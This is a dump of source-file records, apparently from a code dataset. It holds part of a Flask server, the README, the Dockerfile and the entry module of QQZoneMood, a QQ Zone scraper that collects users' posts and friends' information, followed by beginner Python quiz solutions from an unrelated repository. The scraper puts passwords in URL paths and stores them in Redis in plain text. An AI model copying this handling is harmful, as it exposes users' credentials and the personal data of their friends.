get_redis_conn(pool_flag)\n res = init_redis_key(conn, qq)\n if not res:\n try:\n session[POOL_FLAG] = judge_pool()\n init_redis_key(conn, qq)\n except BaseException:\n result = dict(result=\"连接数据库失败,请刷新页面再尝试\")\n return json.dumps(result, ensure_ascii=False)\n try:\n t = threading.Thread(target=web_interface,\n args=(qq, nick_name, stop_time, mood_num, cookie, no_delete, password, pool_flag))\n t.start()\n result = dict(result=1)\n return json.dumps(result, ensure_ascii=False)\n except BaseException as e:\n result = dict(result=e)\n return json.dumps(result, ensure_ascii=False)\n else:\n return \"老哥你干嘛?\"\n\n\[email protected]('/stop_spider/<QQ>/<password>')\ndef stop_spider(QQ, password):\n pool_flag = session.get(POOL_FLAG)\n conn = get_redis_conn(pool_flag)\n if not check_password(conn, QQ, password):\n return json.dumps(dict(finish=-2))\n # 更新标记位,停止爬虫\n conn.set(STOP_SPIDER_KEY + QQ, STOP_SPIDER_FLAG)\n stop = 0\n # 等待数据保存\n while True:\n finish_info = conn.get(STOP_SPIDER_KEY + QQ)\n if finish_info == FINISH_ALL_INFO:\n stop = 1\n break\n else:\n sleep(0.1)\n\n num = conn.get(MOOD_COUNT_KEY + str(QQ))\n return json.dumps(dict(num=num, finish=stop))\n\[email protected]('/query_friend_info_num/<QQ>/<friend_num>/<password>')\ndef query_friend_info_num(QQ, friend_num, password):\n pool_flag = session.get(POOL_FLAG)\n conn = get_redis_conn(pool_flag)\n if conn is None:\n return json.dumps(dict(num=\"数据库未连接\", finish=0))\n if not check_password(conn, QQ, password):\n return json.dumps(dict(finish=-2))\n info = conn.get(FRIEND_INFO_COUNT_KEY + str(QQ))\n finish = 0\n if int(info) >= int(friend_num):\n finish = 1\n return json.dumps(dict(num=info, finish=finish))\n\[email protected]('/query_clean_data/<QQ>/<password>')\ndef query_clean_data(QQ, password):\n pool_flag = session.get(POOL_FLAG)\n conn = get_redis_conn(pool_flag)\n if not check_password(conn, QQ, password):\n return json.dumps(dict(finish=-2), ensure_ascii=False)\n while True:\n key = conn.get(CLEAN_DATA_KEY + QQ)\n if key == '1':\n break\n else:\n sleep(0.1)\n return json.dumps(dict(finish=key), ensure_ascii=False)\n\n" }, { "alpha_fraction": 0.705414354801178, "alphanum_fraction": 0.7259668707847595, "avg_line_length": 20.450237274169922, "blob_id": "cf8e29ab88dc39560ca54c9fb332b9197d46f8b0", "content_id": "b2eef25a0f5f5539ddd8d52ef1bea55dfe48b051", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7925, "license_type": "no_license", "max_line_length": 112, "num_lines": 211, "path": "/README.md", "repo_name": "xiaodin1/QQZoneMood", "src_encoding": "UTF-8", "text": "# QQZoneMood\n\n- 抓取QQ空间说说内容并进行分析\n\n![Image](resource/image/text.png)\n\n![Image](resource/image/web2.png)\n\n### docker版运行方式\n\n- 本项目将网页配置版本打包为docker(以下简称docker版),本版本计划部署到线上\n\n- 此外,还有大量已完成的功能(爬取好友的动态、爬取图片等)未进行整合\n\n- docker版主要包括以下功能:\n\n\t> 1.配置用户名、QQ号、爬取动态的数量、停止日期、识别码、cookie等参数\n\n\t> 2.根据1中配置获取QQ空间的动态数量和好友基本信息\n\n\t> 3.清除缓存\n\n\t> 4.数据可视化和下载(excel表)\n\n- 运行方式(请确保已经安装了docker和docker-compose):\n\n\t> git clone [email protected]:Maicius/QQZoneMood.git\n\n\t> cd QQZoneMood\n\n\t> docker-compose up\n\n\n### TO DO...\n\n- 将更多的功能整合到docker版中\n- Web排队机制(为上线做准备)\n- Web展示界面优化\n- 计算更多指标\n\n### 已实现功能\n\n##### 1.基本功能\n\n> 这部分主要是获取数据和进行基本的统计分析\n\n- QQ空间动态爬取\n\t\n\t> 包括用户和好友,但是为了保护隐私,没有提供一键爬取所有好友动态的功能\n\t\n- QQ空间好友基本信息爬取\n\n\t> 包括共同好友数量、共同群组、添加好友时间\n\n- QQ空间中各种基本信息统计\n\n\t> 包括各种点赞排行、评论排行、发送时间统计等\n\n- 数据可视化\n\n\t> 包括各种词云图、关系图\n\n- Web配置界面\n\n\t> 使用Flask + avalon.js + echarts.js 搭建的简易web界面,为普通用户提供一个快速获取数据的方法\n\t\n##### 2.衍生功能\n\n- QQ空间动态情感检测\n\n\t> 基于[百度自然语言处理API](http://ai.baidu.com/tech/nlp/sentiment_classify),可免费使用\n\n- QQ空间照片评分\n\t\n\t> 基于[Google NIMA模型](https://modelzoo.co/model/nima)\n\n- QQ空间好友关系演变图\n\t\n\t> [戳这里查看视频演示](https://v.youku.com/v_show/id_XMzkxMDQ0NTcyMA==.html?spm=a2hzp.8253869.0.0)\n\n\n### 项目结构\n\n#### resource:存放数据文件(不包括web中的静态资源)\n#### src-spider:包括四个爬虫类和一个入口\n\n- BaseSpider(object): 爬虫基类,初始化各种变量和提供基础接口,统一管理爬虫的headers、数据的加载和存储\n- QQZoneSpider(BaseSpider):爬取QQ空间动态的主要逻辑,包括各种url的构建\n- QQZoneFriendSpider(QQZoneSpider): 爬取用户的好友基本信息和共同群组,计算用户在各个时间段的好友数量\n- QQZoneFriendMoodSpider(QQZoneSpider):爬取用户指定好友的动态\n- main: 程序入口,为web程序提供爬虫API\n\n#### src-analysis:\n\n- QQZoneAnalysis: 数据清洗,将爬虫得到的原始数据清洗为excel形式,并做简单的数据统计和分析\n- Average: 计算平均评论量、点赞量、浏览量等数据\n- SentimentClassify: 调用百度人工智能API进行情感分类\n- TrainMood:已废弃,以前计划用来对文本内容分类等等\n\n#### src-visual:\n\n- CreateGexf: 将用户好友数据生成Gephi软件可以接受的数据格式以进行聚类\n\n#### src-web:网站模块\n\n- src-web-entity: 实体类\n- static: 静态资源,外部引用的包主要使用cdn\n- templates:网页\n\n\n### 环境说明\n\n- python版本:3.6(推荐使用python3,因为本爬虫涉及大量文件交互,python3的编码管理比2中好很多)\n- 登陆使用的是Selenium, 无法识别验证码,抓取使用requests\n- 若出现图形验证码,程序在点击登陆后设置了5秒暂停,可以手动完成验证\n- 已经抓取到的信息有:\n\n\t> 1. 所有说说信息\n\t> 2. 每条说说的详细信息(比1中的信息更全面,1中数据只显示每条说说的前10个评论) \n\t> 3. 每条说说的点赞人列表\n\t> 4. 更加详细的点赞人列表(3中获取的数据有很多被清空了,这里能稳定获取到点赞的人数量、浏览量和评论量)\n\t> 5. 所有说说的图片(可选择是下载大图、缩略图还是都下载)\n\t> 6. 用户好友数据(可计算出用户在每个时间的好友数量)\n\n- 存储方式:\n\n\t> 目前提供了两种存储方式的接口(通过Spider中use_redis参数进行配置): \n\t> 1. 存储到json文件中 \n\t> 2. 存储到redis数据库中 \n\t> 如果安装了redis,建议存储到redis中 \n\t> 关于redis的安装和配置,请自行搜索 \n\t> Redis使用中常见问题可以参考这篇博客:[Redis 踩坑笔记](http://www.xiaomaidong.com/?p=308)\n\n- *注意*:\n \n \t> 本爬虫登录部分是使用的selenium模拟登陆,需要手动下载chrome driver和chrome浏览器 \n\t> 请注意版本匹配,可以查看这篇博客: \n\t> [selenium之 chromedriver与chrome版本映射表(更新至v2.32)](http://blog.csdn.net/huilan_same/article/details/51896672)\n\n#### 开发者运行方式 \n\n- 1.安装依赖\n\n\t> pip3 install -r requirements.txt \n\n- 2.修改配置文件\n\n\t> 修改userinfo.json.example为文件userinfo.json,并填好QQ号、QQ密码、保存数据用的文件名前缀;\n\t\n\t> [可选]修改需要爬取的好友的QQ号和保存数据用的文件名前缀\n\t\n- 3.\\_\\_init\\_\\_函数参数说明,请根据需要修改\t\n\n\n\t\t def __init__(self, use_redis=False, debug=False, mood_begin=0, mood_num=-1,\n download_small_image=False, download_big_image=False,\n download_mood_detail=True, download_like_detail=True, download_like_names=True, recover=False):\n\n :param use_redis: If true, use redis and json file to save data, if false, use json file only.\n :param debug: If true, print info in console\n :param file_name_head: 文件名的前缀\n :param mood_begin: 开始下载的动态序号,0表示从第0条动态开始下载\n :param mood_num: 下载的动态数量,最好设置为20的倍数\n :param stop_time: 停止下载的时间,-1表示全部数据;注意,这里是倒序,比如,stop_time=\"2016-01-01\",表示爬取当前时间到2016年1月1日前的数据\n :param recover: 是否从redis或文件中恢复数据(主要用于爬虫意外中断之后的数据恢复)\n :param download_small_image: 是否下载缩略图,仅供预览用的小图,该步骤比较耗时,QQ空间提供了3中不同尺寸的图片,这里下载的是最小尺寸的图片\n :param download_big_image: 是否下载大图,QQ空间中保存的最大的图片,该步骤比较耗时\n :param download_mood_detail:是否下载动态详情\n :param download_like_detail:是否下载点赞的详情,包括点赞数量、评论数量、浏览量,该数据未被清除\n :param download_like_names:是否下载点赞的详情,主要包含点赞的人员列表,该数据有很多都被清空了\n \n- 4.运行flask服务器\n\n> python3 src/web/server.py\n\n- 5.其它程序入口写在各个py文件的main函数中,待规范\n\n### 数据分析\n\n- python版本:3.6 \n- 已经实现的分析有:\n\n\t> 1. 平均每条说说的点赞人数 \n\t> 2. 说说点赞的总人数\n\t> 3. 点赞最多的人物排名和点赞数\n\t> 4. 评论最多的人物排名和评论数\n\t> 5. 所有说说的内容分析(分词使用的是jieba)\n\t> 6. 所有评论的内容分析\n\n- 待实现的目标有:\n\n\t> 发什么样的内容容易获得点赞和评论(自然语言处理)\n\n\t> 发什么样的图片容易获得点赞和评论(图像识别)\n\n\t> [可选]人物画像:分析出人物的性格特点、爱好(知识图谱)\n\n\t> [可选]历史事件抽取(自然语言处理、事件抽取)\n\n- 运行结果例图:\n![IMAGE](resource/image/screen1.png)\n![image](resource/image/image2.png)\n![Image](resource/image/comment.jpg)\n![Image3](resource/image/comment_content.jpg)\n![Image](resource/image/bike2.png)\n![QQ空间说说按点赞和评论数分类图](resource/image/shuoshuoPie.png) \n\n> QQ动态关键字词云\n\n![Image](resource/image/relation.png)\n> 好友关系图" }, { "alpha_fraction": 0.7709923386573792, "alphanum_fraction": 0.7862595319747925, "avg_line_length": 17.714284896850586, "blob_id": "3f26d63feb705b439e9d4f1fa7f4eb1f89193fa9", "content_id": "36bb081ec504dee544527a8caf72e2a5ecc0348f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 131, "license_type": "no_license", "max_line_length": 35, "num_lines": 7, "path": "/Dockerfile", "repo_name": "xiaodin1/QQZoneMood", "src_encoding": "UTF-8", "text": "FROM python:3.6\n\nMAINTAINER maicius\nADD . /qqzone\nWORKDIR /qqzone\nRUN pip install -r requirements.txt\nCMD python src/web/server.py\n" }, { "alpha_fraction": 0.6022253036499023, "alphanum_fraction": 0.617246150970459, "avg_line_length": 33.56730651855469, "blob_id": "952f6708f59053ede77daef82168ed6ae390da85", "content_id": "40845893380780b7e487b080a2f0446d1b8664b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3793, "license_type": "no_license", "max_line_length": 149, "num_lines": 104, "path": "/src/spider/main.py", "repo_name": "xiaodin1/QQZoneMood", "src_encoding": "UTF-8", "text": "import sys\nimport os\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.append(os.path.split(rootPath)[0])\nfrom src.analysis.QQZoneAnalysis import QQZoneAnalysis\nfrom src.spider.QQZoneSpider import QQZoneSpider\nfrom src.util.constant import WEB_SPIDER_INFO, MOOD_NUM_PRE, CLEAN_DATA_KEY, GET_MAIN_PAGE_FAILED, LOGIN_FAILED, \\\n USER_MAP_KEY, GET_MOOD_FAILED\nimport threading\n\n# 获取空间动态数据\ndef capture_data():\n sp = QQZoneSpider(use_redis=True, debug=True, mood_begin=0, mood_num=-1,\n stop_time='-1',\n download_small_image=False, download_big_image=False,\n download_mood_detail=True, download_like_detail=True,\n download_like_names=True, recover=False, cookie_text=None)\n sp.login()\n sp.get_main_page_info()\n sp.get_mood_list()\n sp.user_info.save_user(sp.username)\n\n\n# 提供给web的接口\ndef web_interface(username, nickname, stop_time, mood_num, cookie_text, no_delete, password, pool_flag):\n sp = QQZoneAnalysis(use_redis=True, debug=False, username=username, analysis_friend=True, from_web=True,\n nickname=nickname, stop_time=stop_time, mood_num=mood_num, no_delete=no_delete, cookie_text=cookie_text, pool_flag=pool_flag)\n try:\n sp.login()\n sp.re.rpush(WEB_SPIDER_INFO + username, \"用户\" + str(sp.username) + \"登陆成功\")\n # 存储用户密码\n sp.re.hset(USER_MAP_KEY, username, password)\n except BaseException:\n sp.re.rpush(WEB_SPIDER_INFO + username, GET_MAIN_PAGE_FAILED)\n try:\n sp.get_main_page_info()\n sp.re.rpush(WEB_SPIDER_INFO + username, \"获取主页信息成功\")\n sp.re.rpush(WEB_SPIDER_INFO + username, MOOD_NUM_PRE + \":\" + str(sp.mood_num))\n except BaseException:\n sp.re.rpush(WEB_SPIDER_INFO + username, LOGIN_FAILED)\n\n try:\n\n # 获取动态的数据\n t1 = threading.Thread(target=sp.get_mood_list)\n # 获取好友数据\n t2 = threading.Thread(target=sp.get_friend_detail)\n t1.setDaemon(False)\n t2.setDaemon(False)\n t1.start()\n t2.start()\n # 等待两个线程都结束\n t1.join()\n t2.join()\n # sp.user_info.save_user(username)\n except BaseException:\n sp.re.rpush(WEB_SPIDER_INFO + username, GET_MOOD_FAILED)\n exit(1)\n\n # 清洗好友数据\n sp.clean_friend_data()\n # 获取第一位好友数据\n sp.get_first_friend_info()\n # 清洗说说数据并计算点赞最多的人和评论最多的人\n sp.get_most_people()\n # 保存说说数据\n sp.export_mood_df()\n\n sp.calculate_history_like_agree()\n sp.re.set(CLEAN_DATA_KEY + username, 1)\n\n\n\ndef get_user_basic_info():\n sp = QQZoneSpider(use_redis=True, debug=False, mood_begin=0, mood_num=-1,\n stop_time='2015-06-01',\n download_small_image=False, download_big_image=False,\n download_mood_detail=True, download_like_detail=True,\n download_like_names=True, recover=False, cookie_text=None)\n\n return sp.user_info\n\n\ndef array_test():\n step = 1102 // 4\n for i in range(0, 4):\n print(i * step)\n\n\ndef test_step():\n sp = QQZoneSpider(use_redis=True, debug=True, mood_begin=0, mood_num=1000,\n stop_time='-1',\n download_small_image=False, download_big_image=False,\n download_mood_detail=True, download_like_detail=True,\n download_like_names=True, recover=False, cookie_text=None)\n sp.find_best_step(1100, 5)\n sp.find_best_step(1222, 5)\n sp.find_best_step(2222, 10)\n\n\nif __name__ == '__main__':\n capture_data()\n # test_step()\n" } ]
4
Woo-Dong/pre-education
https://github.com/Woo-Dong/pre-education
e2cba25bb195fb9e969c739c456b5ab824397a9d
bb00773a670aa3ab699ae83b04d62fbca01e4ac8
5fac3b70aa0ce1d33b5a6c9f07aa6ec12edc08ed
refs/heads/master
2022-10-11T04:35:08.893894
2020-06-16T08:55:46
2020-06-16T08:55:46
271,568,994
0
0
null
2020-06-11T14:33:24
2020-05-11T07:15:39
2020-06-11T14:14:47
null
[ { "alpha_fraction": 0.5273522734642029, "alphanum_fraction": 0.5339168310165405, "avg_line_length": 12.25, "blob_id": "8a349f241ebfd2ad6a45fdbc1e2b55e96910b2db", "content_id": "9e58079680b8ff2c2fdce6573c4e211c3c7f3ae0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 663, "license_type": "no_license", "max_line_length": 49, "num_lines": 32, "path": "/quiz/pre_python_14.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"14. 대문자는 소문자로, 소문자는 대문자로 출력하고\r\n영어가 아닌 문자가 입력 되었을 때는 \r\n'입력 형식이 잘못되었습니다' 라고 출력하는 프로그램을 작성하시오.\r\n\r\n예시\r\n<입력>\r\nEAST\r\n<출력>\r\neast\r\n\r\n<입력>\r\nhello\r\n<출력>\r\nHELLO\r\n\r\n<입력>\r\n안녕\r\n<출력>\r\n입력 형식이 잘못되었습니다.\r\n\r\n\"\"\"\r\n\r\nastring = input() \r\nres = '' \r\nfor char in astring: \r\n if not char.isalpha(): \r\n print(\"입력 형식이 잘못되었습니다.\")\r\n exit(0)\r\n else: \r\n if char.isupper(): res += char.lower() \r\n elif char.islower(): res += char.upper() \r\nprint(res) \r\n" }, { "alpha_fraction": 0.5693780183792114, "alphanum_fraction": 0.6124401688575745, "avg_line_length": 11.29411792755127, "blob_id": "c95347c5e59a0747f234e5e9b01e3310906a665e", "content_id": "3a3209f7f250ba974bc09ce8578f15760e1627cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 277, "license_type": "no_license", "max_line_length": 42, "num_lines": 17, "path": "/quiz/pre_python_04.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"4. 삼각형의 가로와 높이를 받아서 넓이를 출력하는 함수를 작성하시오.\n\n\n예시\n<입력>\nprint(Triangle(10,20))\n\n<출력>\n100\n\n\"\"\"\ndef Triangle(a, b): \n return a*b / 2 \n\nwidth = int(input()) \nheight = int(input()) \nprint(Triangle(width, height)) " }, { "alpha_fraction": 0.4912280738353729, "alphanum_fraction": 0.5497075915336609, "avg_line_length": 14.2380952835083, "blob_id": "6196a426e827b8f2c4ff8e2a157219c402a791b4", "content_id": "fb949ea08c99534b862d47e503adf55c0164f2a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 446, "license_type": "no_license", "max_line_length": 44, "num_lines": 21, "path": "/quiz/algorithm_quiz1.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "'''\r\n1.\r\n팩토리얼은 1부터 n까지 연속한 숫자의 곱이라 합니다.\r\n팩토리얼을 함수(factorial)로 구현하는데 재귀함수를 이용하여 구현하시오.\r\n\r\n<입력>\r\nprint(factorial(10))\r\n\r\n<출력>\r\n3628800'''\r\n\r\ndef factorial(n): \r\n if n == 1: return 1 \r\n dp_arr = [0, 1] \r\n\r\n for i in range(2, n+1): \r\n dp_arr.append(dp_arr[-1]*i)\r\n print(dp_arr)\r\n return dp_arr[n]\r\n\r\nprint(factorial(10)) \r\n" }, { "alpha_fraction": 0.45688074827194214, "alphanum_fraction": 0.5504587292671204, "avg_line_length": 18.185184478759766, "blob_id": "e2910fb6815893cdbc335967b1f2ce77b98478fd", "content_id": "d946a142f5a1a3a7e806ea475bd53a64834681bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 725, "license_type": "no_license", "max_line_length": 76, "num_lines": 27, "path": "/quiz/algorithm_quiz3.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "'''\r\n3.\r\n앞뒤로 이웃한 숫자를 비교하여 크기가 큰 숫자가 작은숫자보다 앞에 있을\r\n경우 서로 위치를 바꿔 가며 정렬하는 것을 버블정렬이라고 합니다.\r\n주어진 리스트를 버블정렬함수(bubble_sort)를 생성하여 오름차순으로 정렬하시오.\r\nlist=[4,3,2,1,8,7,5,10,11,16,21,6]\r\n\r\n<입력>\r\nprint(bubble_sort(list))\r\n\r\n<출력>\r\n[1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 16, 21]'''\r\n\r\n\r\ndef bubble_sort(alist): \r\n\r\n n = len(alist) \r\n\r\n for i in range(n-1): \r\n for j in range(i+1, n): \r\n if alist[i] > alist[j]: alist[i], alist[j] = alist[j], alist[i] \r\n\r\n return alist\r\n\r\nalist = [4,3,2,1,8,7,5,10,11,16,21,6]\r\n\r\nprint(bubble_sort(alist))\r\n" }, { "alpha_fraction": 0.5059760808944702, "alphanum_fraction": 0.5816733241081238, "avg_line_length": 15.785714149475098, "blob_id": "15d75d691c972943a9970090e3ac069b4c1d657f", "content_id": "f1dbefcd208e5ed77b68bc4a3c5333a18758494e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 385, "license_type": "no_license", "max_line_length": 48, "num_lines": 14, "path": "/quiz/pre_python_15.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"15. 주민등록번호를 입력하면 남자인지 여자인지 알려주는 프로그램을 작성하시오. \r\n(리스트 split 과 슬라이싱 활용) \r\n\r\n예시\r\n<입력>\r\n주민등록번호 : 941130-3002222\r\n\r\n<출력>\r\n남자\r\n\"\"\"\r\nastring = input(\"주민등록번호 :\")\r\nnumber = int(astring.split(\"-\")[1][0])\r\nif number % 2 == 1: print(\"남자\")\r\nelse: print(\"여자\")\r\n\r\n" }, { "alpha_fraction": 0.5916334390640259, "alphanum_fraction": 0.6254979968070984, "avg_line_length": 19, "blob_id": "7fe0749666a8fd4d770f3ffddcaba33b3e1f93b8", "content_id": "87257e98dc8a4515dc4014149eea677d9bc0371e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 884, "license_type": "no_license", "max_line_length": 52, "num_lines": 24, "path": "/quiz/pre_python_03.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"3.Enter key를 눌러 주사위를 던지게 한 후, 주사위의 눈이 높은 사람이 승리하는\r\n간단한 주사위 게임을 만드세요\r\n\r\n\r\n예시\r\n<입력>\r\n첫번째 참가자 엔터키를 눌러 주사위를 던져 주세요 : 1~6 랜덤숫자 출력\r\n두번째 참가자 엔터키를 눌러 주사위를 던져 주세요 : 1~6 랜덤숫자 출력\r\n\r\n<출력>\r\n첫 번째(두 번째) 참가자의 승리입니다. or 비겼습니다.\r\n\r\n\"\"\"\r\n\r\nfrom random import randint\r\nnum1 = randint(1, 6)\r\nprint(\"첫번째 참가자 엔터키를 눌러 주사위를 던져 주세요 : \", num1)\r\n\r\nnum2 = randint(1, 6)\r\nprint(\"두번째 참가자 엔터키를 눌러 주사위를 던져 주세요 : \", num2)\r\n\r\nif num1 < num2: print(\"두 번째 참가자의 승리입니다.\")\r\nelif num1 > num2: print(\"첫 번째 참가자의 승리입니다.\")\r\nelse: print(\"비겼습니다.\")" }, { "alpha_fraction": 0.5280898809432983, "alphanum_fraction": 0.5730336904525757, "avg_line_length": 20.047618865966797, "blob_id": "9f4c6fb02e2800086da3daf382436d0a858497ef", "content_id": "5a73c16097cdef4a10514d8c5f2bcbac4145f7a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 653, "license_type": "no_license", "max_line_length": 58, "num_lines": 21, "path": "/quiz/pre_python_02.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"\"2.if문을 이용해 첫번째와 두번 수, 연산기호를 입력하게 하여 계산값이 나오는 계산기를 만드시오\n\n\n예시\n<입력>\n첫 번째 수를 입력하세요 : 10\n두 번째 수를 입력하세요 : 15\n어떤 연산을 하실 건가요? : *\n\n<출력>\n150\n\"\"\"\nnum1 = int(input(\"첫 번째 수를 입력하세요 : \"))\nnum2 = int(input(\"두 번째 수를 입력하세요 : \"))\ncalc = input(\"어떤 연산을 하실 건가요 ? : \")\n\nif calc == '+': print(num1 + num2) \nelif calc == '-': print(num1 - num2) \nelif calc == '*': print(num1 * num2) \nelif calc == '/' and num2 != 0: print(num1 / num2) \nelse: print(\"error case\")\n\n\n\n" }, { "alpha_fraction": 0.5014925599098206, "alphanum_fraction": 0.5104477405548096, "avg_line_length": 13.181818008422852, "blob_id": "fa14b458c0837dc485f494df6976aa3cd714a32d", "content_id": "beb2c09f2d637bff16e906bb86c6961523ae059e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 581, "license_type": "no_license", "max_line_length": 45, "num_lines": 22, "path": "/quiz/pre_python_01.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"1. 아래와 같이 숫자를 두번 물어보게 하고 ★을 출력해서 사각형을 만드시오\r\n가로의 숫자를 입력하시오 : \r\n세로의 숫자를 입력하시오 :\r\n\r\n예시\r\n<입력>\r\n가로의 숫자를 입력하시오 : 5\r\n세로의 숫자를 입력하시오 : 4\r\n\r\n<출력>\r\n★★★★★\r\n★★★★★\r\n★★★★★\r\n★★★★★\r\n \"\"\"\r\n\r\nwidth = int(input(\"가로의 숫자를 입력하시오 : \")) \r\nheight = int(input(\"세로의 숫자를 입력하시오 : \"))\r\n\r\nfor _ in range(width): \r\n astring = '★' * height \r\n print(astring) \r\n" }, { "alpha_fraction": 0.483162522315979, "alphanum_fraction": 0.5300146341323853, "avg_line_length": 18.058822631835938, "blob_id": "7d66a79dcc46e76972a75bd035bb1975e1f0278b", "content_id": "b83a49d6aa23014776b09103500359b034ebb775", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 971, "license_type": "no_license", "max_line_length": 52, "num_lines": 34, "path": "/quiz/algorithm_quiz2.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "'''\r\n2.\r\n첫 번째 숫자를 두 번째 숫자부터 마지막 숫자까지 차례대로 비교하여\r\n가장 작은 값을 찾아 첫 번째에 놓고, 두번째 숫자를 세 번째 숫자부터\r\n마지막 숫자까지 차례대로 비교하여그 중 가장 작은 값을 찾아\r\n두 번째 위치에 놓는 과정을 반복하며 정렬하는것을 선택정렬이라고 합니다.\r\n주어진 리스트를 선택정렬함수(select_sort)를 생성하여 오름차순으로 정렬하시오\r\nlist=[6,2,3,7,8,10,21,1]\r\n\r\n<입력>\r\nprint(select_sort(list))\r\n\r\n<출력>\r\n[1, 2, 3, 6, 7, 8, 10, 21]\r\n\r\n'''\r\n\r\ndef select_sort(alist): \r\n\r\n n = len(alist) \r\n\r\n for i in range(n): \r\n idx = i \r\n tmp = alist[i] \r\n for j in range(i+1, n): \r\n if alist[j] < tmp: \r\n tmp, idx = alist[j], j \r\n alist[i], alist[idx] = alist[idx], alist[i] \r\n\r\n return alist\r\n\r\nalist = [6,2,3,7,8,10,21,1]\r\n\r\nprint(select_sort(alist)) \r\n" }, { "alpha_fraction": 0.558089017868042, "alphanum_fraction": 0.5874049663543701, "avg_line_length": 20.975000381469727, "blob_id": "ef85529e3d73b67c7c0ae16f205207a3c9be4ee4", "content_id": "d18690c106fc87da9a0ced4f9e416e37cb2c6198", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1407, "license_type": "no_license", "max_line_length": 51, "num_lines": 40, "path": "/quiz/algorithm_quiz4.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "'''\r\n4.\r\n탐욕 알고리즘은 최적해를 구하는 상황에서 사용하는 방법입니다.\r\n여러 경우 중 하나를 선택할 때 그것이 그상황에서 가장 좋다고 생각하는 것을\r\n선택해 나가는 방식으로 진행하여 답을 구합니다.\r\n하지만 탐욕알고리즘은 그 상황에서 가장 좋다고 생각하는 것을 선택해 나가는\r\n방식이기 때문에 가장 좋은 결과를 얻는 것이 보장되는것은 아닙니다.\r\n탐욕 알고리즘을 이용하여 동전을 지불하는 함수(greedy)를 짜는데 지불해야 하는\r\n동전의 갯수가 최소가 되도록 함수를 구현하시오\r\n(input 으로 액수와 동전의 종류를 입력하게 구현)\r\n\r\n<입력>\r\nprint(greedy())\r\n\r\n<출력>\r\n액수입력 : 1050\r\n동전의 종류 : 100 50 10\r\n100원 동전 10개, 50원 동전 1개, 10원 동전 0개\r\n'''\r\n\r\naccount = int(input(\"액수입력 : \")) \r\nalist = list(map(int, input(\"동전의 종류 : \").split()))\r\nalist.sort(reverse=True) \r\n\r\nres = [0]*len(alist) \r\nidx = 0\r\nwhile account and idx < len(alist): \r\n coin = alist[idx] \r\n if coin <= account: \r\n res[idx] = account // coin \r\n account -= coin * (account // coin)\r\n idx += 1\r\n\r\nastring = \"\" \r\nfor i in range(len(alist)): \r\n tmp_string = \"%d원 동전 %d개\" % (alist[i], res[i]) \r\n astring += tmp_string\r\n astring += ', ' \r\n\r\nprint(astring[:-2])\r\n\r\n" }, { "alpha_fraction": 0.5121951103210449, "alphanum_fraction": 0.542682945728302, "avg_line_length": 12.818181991577148, "blob_id": "3ce91e12f94f3389775bb3815e925dd6387da366", "content_id": "8602bf45b6d09174025de40ebe0966f2198976dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 67, "num_lines": 11, "path": "/quiz/pre_python_08.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"8. 정수를 입력했을 때 짝수인지 홀수인지 핀별하는 코드를 작성하시오\r\n\r\n예시\r\n<입력>\r\n정수를 입력하세요 : 14\r\n\r\n<출력>\r\n짝수입니다.\r\n\"\"\"\r\n\r\nprint(\"짝수입니다.\" if int(input(\"정수를 입력하세요 :\")) %2 == 0 else \"홀수입니다.\" ) \r\n" }, { "alpha_fraction": 0.3085714280605316, "alphanum_fraction": 0.32380953431129456, "avg_line_length": 9.30434799194336, "blob_id": "e0b17e7bca7cb84398d62eeb9ce59ce57cf556e5", "content_id": "b87c8b942a4fd69657b002766b2a16f64346b122", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 30, "num_lines": 46, "path": "/quiz/pre_python_06.py", "repo_name": "Woo-Dong/pre-education", "src_encoding": "UTF-8", "text": "\"\"\"6. 아래와 같이 별이 찍히게 출력하시오.\r\n숫자를 입력하세요 : 5\r\n ★\r\n ★★\r\n ★★★\r\n ★★★★\r\n★★★★★\r\n ★★★★\r\n ★★★\r\n ★★\r\n ★\r\n\r\n예시\r\n<입력>\r\n숫자를 입력하세요 : 5\r\n\r\n<출력>\r\n ★\r\n ★★\r\n ★★★\r\n ★★★★\r\n★★★★★ \r\n ★★★★\r\n ★★★\r\n ★★\r\n ★\r\n\r\n\r\n\"\"\"\r\n\r\n\r\nn = int(input(\"숫자를 입력하세요 : \"))\r\n\r\nfor i in range(1, n+1): \r\n res = n - i \r\n astring = ''\r\n astring += ' '*res \r\n astring += '★'*i \r\n print(astring) \r\n\r\nfor i in range(n-1, 0, -1): \r\n res = n - i 